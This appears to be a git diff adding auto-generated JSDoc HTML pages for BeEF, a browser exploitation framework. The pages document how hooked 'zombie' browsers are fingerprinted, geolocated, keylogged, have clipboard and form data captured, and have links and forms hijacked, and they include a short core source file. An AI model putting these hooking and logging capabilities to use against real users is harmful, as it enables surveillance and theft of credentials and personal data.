+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getOpenStreetMapAddress(command_url, command_id, latitude, longitude)

+ + + + + + +
+

Given latitude/longitude retrieves exact street position of the zombie

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
command_url + +
command_id + +
latitude + +
longitude + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isGeolocationEnabled() → {boolean}

+ + + + + + +
+

Check if browser supports the geolocation API

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +boolean + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.hardware.html b/docs/beef.hardware.html new file mode 100644 index 000000000..64943e726 --- /dev/null +++ b/docs/beef.hardware.html @@ -0,0 +1,2086 @@ + + + + + JSDoc: Namespace: hardware + + + + + + + + + + +
+ +

Namespace: hardware

+ + + + + + +
+ +
+ +

hardware

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) getBatteryDetails() → {Object}

+ + + + + + +
+

Returns battery details

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) getCpuArch() → {String}

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

CPU type

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getCpuCores() → {String}

+ + + + + + +
+

Returns number of CPU cores

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getCpuDetails() → {String}

+ + + + + + +
+

Returns CPU details

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getGpuDetails() → {object}

+ + + + + + +
+

Returns GPU details

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +object + + +
+
+ + + + + + + + + + + + + +

(static) getMemory() → {String}

+ + + + + + +
+

Returns RAM (GiB)

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) getScreenSize() → {Object}

+ + + + + + +
+

Returns zombie screen size and color depth.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) isEricsson() → {Boolean}

+ + + + + + +
+

Is Ericsson?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isGameConsole() → {Boolean}

+ + + + + + +
+

Returns true if the browser is on a game console

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isGoogle() → {Boolean}

+ + + + + + +
+

Is Google?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isHtc() → {Boolean}

+ + + + + + +
+

Is HTC?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isLaptop() → {Boolean}

+ + + + + + +
+

Is a Laptop?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isMobileDevice() → {Boolean}

+ + + + + + +
+

Returns true if the browser is on a Mobile device

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isMotorola() → {Boolean}

+ + + + + + +
+

Is Motorola?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isNokia() → {Boolean}

+ + + + + + +
+

Is Nokia?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isTouchEnabled() → {Boolean}

+ + + + + + +
+

Is touch enabled?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isVirtualMachine() → {Boolean}

+ + + + + + +
+

Is virtual machine?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +

(static) isZune() → {Boolean}

+ + + + + + +
+

Is Zune?

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

true or false.

+
+ + + +
+
+ Type +
+
+ +Boolean + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.init.html b/docs/beef.init.html new file mode 100644 index 000000000..8f9ff4ec2 --- /dev/null +++ b/docs/beef.init.html @@ -0,0 +1,486 @@ + + + + + JSDoc: Namespace: init + + + + + + + + + + +
+ +

Namespace: init

+ + + + + + +
+ +
+ +

init

+ + +
+ +
+
+ + +

Contains the beef_init() method which starts the BeEF client-side +logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.

+

If beef.pageIsLoaded is true, then this JS has been loaded >1 times +and will have a new session id. The new session id will need to know +the brwoser details. So sendback the browser details again.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) beef_init()

+ + + + + + +
+

Starts the polling mechanism, and initialize various components:

+
    +
  • browser details (see browser.js) are sent back to the "/init" handler
  • +
  • the polling starts (checks for new commands, and execute them)
  • +
  • the logger component is initialized (see logger.js)
  • +
  • the Autorun Engine is initialized (see are.js)
  • +
+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) window.onclose()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) window.onload()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) window.onpopstate()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.js.html b/docs/beef.js.html new file mode 100644 index 000000000..30f72bcc9 --- /dev/null +++ b/docs/beef.js.html @@ -0,0 +1,135 @@ + + + + + JSDoc: Source: beef.js + + + + + + + + + + +
+ +

Source: beef.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*!
+ * BeEF JS Library <%= @beef_version %>
+ * Register the BeEF JS on the window object.
+ */
+
+$j = jQuery.noConflict();
+
+if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
+
+    /**
+     * Register the BeEF JS on the window object.
+     * @namespace {Object} BeefJS 
+     * @property {string} version BeEf Version
+     * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().
+     * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.
+     * @property {array} onclose An array containing functions to be executed by the window.onclose() method.
+     * @property {array} commands An array containing functions to be executed by Beef.
+     * @property {array} components An array containing all the BeEF JS components.
+     */
+
+    var BeefJS = {
+        
+        version: '<%= @beef_version %>',
+        pageIsLoaded: false,
+        onpopstate: new Array(),
+        onclose: new Array(),
+        commands: new Array(),
+        components: new Array(),
+
+        /**
+         * Adds a function to display debug messages (wraps console.log())
+         * @param: {string} the debug string to return
+         */
+        debug: function(msg) {
+            isDebug = '<%= @client_debug %>'
+            if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) {
+                var currentdate = new Date();
+                var pad = function(n){return ("0" + n).slice(-2);}
+                var datetime = currentdate.getFullYear() + "-"
+                + pad(currentdate.getMonth()+1)  + "-"
+                + pad(currentdate.getDate()) + " "
+                + pad(currentdate.getHours()) + ":"
+                + pad(currentdate.getMinutes()) + ":"
+                + pad(currentdate.getSeconds());
+                console.log('['+datetime+'] '+msg);
+            } else {
+                // TODO: maybe add a callback to BeEF server for debugging purposes
+                //window.alert(msg);
+            }
+        },
+
+        /**
+        * Adds a function to execute.
+        * @param: {Function} the function to execute.
+        */
+        execute: function(fn) {
+                if ( typeof  beef.websocket == "undefined"){
+                    this.commands.push(fn);
+                }else{
+                    fn();
+                }
+        },
+
+       /**
+        * Registers a component in BeEF JS.
+        * @params: {String} the component.
+        *
+        * Components are very important to register so the framework does not
+        * send them back over and over again.
+        */
+        regCmp: function(component) {
+                this.components.push(component);
+        }
+
+    };
+
+    window.beef = BeefJS;
+}
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/beef.logger.html b/docs/beef.logger.html new file mode 100644 index 000000000..0f9a20e80 --- /dev/null +++ b/docs/beef.logger.html @@ -0,0 +1,2168 @@ + + + + + JSDoc: Namespace: logger + + + + + + + + + + +
+ +

Namespace: logger

+ + + + + + +
+ +
+ +

logger

+ + +
+ +
+
+ + +

Provides logging capabilities.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

Members

+ + + +

(static) events

+ + + + +
+

Holds events created by user, to be sent back to BeEF

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) id

+ + + + +
+

Internal logger id

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) in_submit

+ + + + +
+

Prevents from recursive event handling on form submission

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) stream

+ + + + +
+

Holds current stream of key presses

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) target

+ + + + +
+

Contains current target of key presses

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) time

+ + + + +
+

Holds the time the logger was started

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) click()

+ + + + + + +
+

Click function fires when the user clicks the mouse.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) console()

+ + + + + + +
+

Console function fires when data is sent to the browser console.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) copy()

+ + + + + + +
+

Copy function fires when the user copies data to the clipboard.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) cut()

+ + + + + + +
+

Cut function fires when the user cuts data to the clipboard.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) e()

+ + + + + + +
+

Holds the event details to be sent to BeEF

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_dom_identifier()

+ + + + + + +
+

Translate DOM Object to a readable string

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_id()

+ + + + + + +
+

Get id

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_timestamp() → {String}

+ + + + + + +
+

Formats the timestamp

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

timestamp string

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + + + + + + + + +

(static) keypress(e:)

+ + + + + + +
+

Keypress function fires everytime a key is pressed.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
e: + + +Object + + + +

event object

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) parse_stream()

+ + + + + + +
+

Parses stream array and creates history string

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) paste()

+ + + + + + +
+

Paste function fires when the user pastes data from the clipboard.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) push_stream()

+ + + + + + +
+

Pushes the current stream to the events queue

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) queue()

+ + + + + + +
+

Queue results to be sent back to framework

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) start()

+ + + + + + +
+

Starts the logger

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) stop()

+ + + + + + +
+

Stops the logger

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) submit()

+ + + + + + +
+

Submit function fires whenever a form is submitted +TODO: Cleanup this function

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) win_blur()

+ + + + + + +
+

Fires when the window element has lost focus

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) win_focus()

+ + + + + + +
+

Fires when the window element has regained focus

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.mitb.html b/docs/beef.mitb.html new file mode 100644 index 000000000..02e785390 --- /dev/null +++ b/docs/beef.mitb.html @@ -0,0 +1,926 @@ + + + + + JSDoc: Namespace: mitb + + + + + + + + + + +
+ +

Namespace: mitb

+ + + + + + +
+ +
+ +

mitb

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) endSession()

+ + + + + + +
+

Signals the Framework that the user has lost the hook

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) fetch()

+ + + + + + +
+

Fetches a hooked link with AJAX

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) fetchForm()

+ + + + + + +
+

Fetches a hooked form with AJAX

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) fetchOnclick()

+ + + + + + +
+

Fetches a window.location=http://domainname.com and setting up history

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hook()

+ + + + + + +
+

Initializes the hook on anchors and forms.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) init()

+ + + + + + +
+

Initializes

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) poisonAnchor()

+ + + + + + +
+

Hooks anchors and prevents them from linking away

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) poisonForm()

+ + + + + + +
+

Hooks forms and prevents them from linking away

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) sniff()

+ + + + + + +
+

Relays an entry to the framework

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.net.connection.html b/docs/beef.net.connection.html new file mode 100644 index 000000000..f81a9875a --- /dev/null +++ b/docs/beef.net.connection.html @@ -0,0 +1,369 @@ + + + + + JSDoc: Namespace: connection + + + + + + + + + + +
+ +

Namespace: connection

+ + + + + + +
+ +
+ +

+ .net.connection

+ + +
+ +
+
+ + +

beef.net.connection - wraps Mozilla's Network Information API +https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation +https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) downlinkMax() → {String}

+ + + + + + +
+

Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

downlink max or 'unknown'.

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + +
Example
+ +
beef.net.connection.downlinkMax()
+ + + + + + + + + +

(static) type() → {String}

+ + + + + + +
+

Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

connection type or 'unknown'.

+
+ + + +
+
+ Type +
+
+ +String + + +
+
+ + + + + + +
Example
+ +
beef.net.connection.type()
+ + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.net.cors.html b/docs/beef.net.cors.html new file mode 100644 index 000000000..2a407cea8 --- /dev/null +++ b/docs/beef.net.cors.html @@ -0,0 +1,452 @@ + + + + + JSDoc: Namespace: cors + + + + + + + + + + +
+ +

Namespace: cors

+ + + + + + +
+ +
+ +

+ .net.cors

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) request(method, url, data, timeout, callback)

+ + + + + + +
+

Make a cross-origin request using CORS

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
method + + +String + + + +

HTTP verb ('GET', 'POST', 'DELETE', etc.)

url + + +String + + + +

url

data + + +String + + + +

request body

timeout + + +Integer + + + +

request timeout in milliseconds

callback + + +function + + + +

function to callback on completion

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) response()

+ + + + + + +
+

Response Object - used in the beef.net.request callback

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.net.dns.html b/docs/beef.net.dns.html new file mode 100644 index 000000000..b969abfab --- /dev/null +++ b/docs/beef.net.dns.html @@ -0,0 +1,325 @@ + + + + + JSDoc: Namespace: dns + + + + + + + + + + +
+ +

Namespace: dns

+ + + + + + +
+ +
+ +

+ .net.dns

+ + +
+ +
+
+ + +

request object structure:

+
    +
  • msgId: {Integer} Unique message ID for the request.
  • +
  • domain: {String} Remote domain to retrieve the data.
  • +
  • wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  • +
  • callback: {Function} Callback function to receive the number of requests sent.
  • +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) send(msgId, data, domain, callback)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
msgId + +
data + +
domain + +
callback + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.net.html b/docs/beef.net.html new file mode 100644 index 000000000..3ab1df7ff --- /dev/null +++ b/docs/beef.net.html @@ -0,0 +1,2388 @@ + + + + + JSDoc: Namespace: net + + + + + + + + + + +
+ +

Namespace: net

+ + + + + + +
+ +
+ +

net

+ + +
+ +
+
+ + +

Provides basic networking functions, +like beef.net.request and beef.net.forgeRequest, +used by BeEF command modules and the Requester extension, +as well as beef.net.send which is used to return commands +to BeEF server-side components.

+

Also, it contains the core methods used by the XHR-polling +mechanism (flush, queue)

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + +

Namespaces

+ +
+
connection
+
+ +
cors
+
+ +
dns
+
+ +
local
+
+ +
portscanner
+
+ +
requester
+
+ +
xssrays
+
+
+ + + + + +

Methods

+ + + + + + + +

(static) array_has_string_key()

+ + + + + + +
+

Detects if an array has a string key

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) browser_details()

+ + + + + + +
+

Sends back browser details to framework, calling beef.browser.getDetails()

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) chunk(str, amount)

+ + + + + + +
+

Split the input data into chunk lengths determined by the amount parameter.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
str + + +String + + + +

the input data

amount + + +Integer + + + +

chunk length

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) clean()

+ + + + + + +
+

this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} +http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
